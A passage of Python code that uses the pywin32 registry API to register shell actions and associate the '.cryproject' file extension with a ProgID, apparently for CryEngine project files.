        win32api.RegSetValue(hAction, 'command', win32con.REG_SZ, command)
        if extended:
            win32api.RegSetValueEx(hAction, 'extended', None, win32con.REG_SZ,
                                   '')

        win32api.RegCloseKey(hAction)

    action = 'edit'
    win32api.RegSetValueEx(hShell, None, None, win32con.REG_SZ, action)
    win32api.RegCloseKey(hShell)

    #---

    hCryProj = win32api.RegCreateKey(hClassesRoot, '.cryproject')
    win32api.RegSetValueEx(hCryProj, None, None, win32con.REG_SZ, ProgID)
    win32api.RegCloseKey(hCryProj)